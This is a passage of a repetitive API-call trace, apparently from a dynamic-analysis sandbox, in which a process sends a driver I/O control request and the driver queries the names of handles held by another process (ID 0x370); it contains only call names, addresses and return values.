[0131.937] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.937] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.937] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.937] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.937] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.937] PsAcquireProcessExitSynchronization () returned 0x0 [0131.937] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.937] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.937] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.937] PsReleaseProcessExitSynchronization () returned 0x2 [0131.937] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.937] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.937] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.937] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.937] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.937] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0131.938] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.938] PsAcquireProcessExitSynchronization () returned 0x0 [0131.938] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.938] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003215bb0, HandleInformation=0x0) returned 0x0 [0131.938] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.938] PsReleaseProcessExitSynchronization () returned 0x2 [0131.938] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.938] ObQueryNameString (in: Object=0xfffffa8003215bb0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.938] ObfDereferenceObject (Object=0xfffffa8003215bb0) returned 0x1 [0131.938] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.938] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.938] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.938] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.938] PsAcquireProcessExitSynchronization () returned 0x0 [0131.938] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.938] ObReferenceObjectByHandle (in: Handle=0x394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032152f0, HandleInformation=0x0) returned 0x0 [0131.938] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.938] PsReleaseProcessExitSynchronization () returned 0x2 [0131.938] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.938] ObQueryNameString (in: Object=0xfffffa80032152f0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.938] ObfDereferenceObject (Object=0xfffffa80032152f0) returned 0x1 [0131.938] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.938] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.938] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0131.938] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.938] PsAcquireProcessExitSynchronization () returned 0x0 [0131.938] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.938] ObReferenceObjectByHandle (in: Handle=0x448, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003231380, HandleInformation=0x0) returned 0x0 [0131.938] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.939] PsReleaseProcessExitSynchronization () returned 0x2 [0131.939] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.939] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.939] ObfDereferenceObject (Object=0xfffffa8003231380) returned 0x12 [0131.939] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.939] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.939] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.939] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0131.939] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.939] PsAcquireProcessExitSynchronization () returned 0x0 [0131.939] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.939] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f6b070, HandleInformation=0x0) returned 0x0 [0131.939] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.939] PsReleaseProcessExitSynchronization () returned 0x2 [0131.939] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.939] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.939] ObfDereferenceObject (Object=0xfffffa8002f6b070) returned 0x1 [0131.939] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.939] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.939] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.939] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0131.939] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.939] PsAcquireProcessExitSynchronization () returned 0x0 [0131.939] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.939] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f6bbc0, HandleInformation=0x0) returned 0x0 [0131.939] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.939] PsReleaseProcessExitSynchronization () returned 0x2 [0131.939] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.939] ObQueryNameString (in: Object=0xfffffa8002f6bbc0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.939] ObfDereferenceObject (Object=0xfffffa8002f6bbc0) returned 0x1 [0131.939] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.940] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.940] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.940] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.940] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.940] PsAcquireProcessExitSynchronization () returned 0x0 [0131.940] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.940] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f6bf20, HandleInformation=0x0) returned 0x0 [0131.940] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.940] PsReleaseProcessExitSynchronization () returned 0x2 [0131.940] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.940] ObQueryNameString (in: Object=0xfffffa8002f6bf20, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.940] ObfDereferenceObject (Object=0xfffffa8002f6bf20) returned 0x2 [0131.940] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.940] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.940] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.940] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0131.940] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.940] PsAcquireProcessExitSynchronization () returned 0x0 [0131.940] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.940] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f6b920, HandleInformation=0x0) returned 0x0 [0131.940] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.940] PsReleaseProcessExitSynchronization () returned 0x2 [0131.940] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.940] ObQueryNameString (in: Object=0xfffffa8002f6b920, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.940] ObfDereferenceObject (Object=0xfffffa8002f6b920) returned 0x2 [0131.940] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.940] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.940] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.940] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0131.940] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.940] PsAcquireProcessExitSynchronization () returned 0x0 [0131.940] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.940] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f6b7d0, HandleInformation=0x0) returned 0x0 [0131.940] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.941] PsReleaseProcessExitSynchronization () returned 0x2 [0131.941] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.941] ObQueryNameString (in: Object=0xfffffa8002f6b7d0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.941] ObfDereferenceObject (Object=0xfffffa8002f6b7d0) returned 0x1 [0131.941] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.941] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.941] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.941] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.941] PsAcquireProcessExitSynchronization () returned 0x0 [0131.941] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.941] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800323d070, HandleInformation=0x0) returned 0x0 [0131.941] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.941] PsReleaseProcessExitSynchronization () returned 0x2 [0131.941] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.941] ObQueryNameString (in: Object=0xfffffa800323d070, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.941] ObfDereferenceObject (Object=0xfffffa800323d070) returned 0x2 [0131.941] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.941] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.941] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.941] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.941] PsAcquireProcessExitSynchronization () returned 0x0 [0131.941] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.941] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800323dc80, HandleInformation=0x0) returned 0x0 [0131.941] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.941] PsReleaseProcessExitSynchronization () returned 0x2 [0131.941] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.941] ObQueryNameString (in: Object=0xfffffa800323dc80, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.941] ObfDereferenceObject (Object=0xfffffa800323dc80) returned 0x2 [0131.941] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.941] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.941] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0131.941] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.942] PsAcquireProcessExitSynchronization () returned 0x0 [0131.942] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.942] ObReferenceObjectByHandle (in: Handle=0x498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800323ecc0, HandleInformation=0x0) returned 0x0 [0131.942] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.942] PsReleaseProcessExitSynchronization () returned 0x2 [0131.942] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.942] ObQueryNameString (in: Object=0xfffffa800323ecc0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.942] ObfDereferenceObject (Object=0xfffffa800323ecc0) returned 0x2 [0131.942] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.942] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.942] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.942] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.942] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.942] PsAcquireProcessExitSynchronization () returned 0x0 [0131.942] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.942] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f6ea80, HandleInformation=0x0) returned 0x0 [0131.942] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.942] PsReleaseProcessExitSynchronization () returned 0x2 [0131.942] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.942] ObQueryNameString (in: Object=0xfffffa8002f6ea80, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.942] ObfDereferenceObject (Object=0xfffffa8002f6ea80) returned 0x2 [0131.942] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.942] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.942] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.942] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.942] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.942] PsAcquireProcessExitSynchronization () returned 0x0 [0131.942] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.942] ObReferenceObjectByHandle (in: Handle=0x4a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003247a30, HandleInformation=0x0) returned 0x0 [0131.942] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.942] PsReleaseProcessExitSynchronization () returned 0x2 [0131.942] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.942] ObQueryNameString (in: Object=0xfffffa8003247a30, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.943] ObfDereferenceObject (Object=0xfffffa8003247a30) returned 0x2 [0131.943] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.943] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.943] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0131.943] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.943] PsAcquireProcessExitSynchronization () returned 0x0 [0131.943] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.943] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032d1680, HandleInformation=0x0) returned 0x0 [0131.943] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.943] PsReleaseProcessExitSynchronization () returned 0x2 [0131.943] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.943] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.943] ObfDereferenceObject (Object=0xfffffa80032d1680) returned 0x1 [0131.943] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.943] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.943] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0131.943] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.943] PsAcquireProcessExitSynchronization () returned 0x0 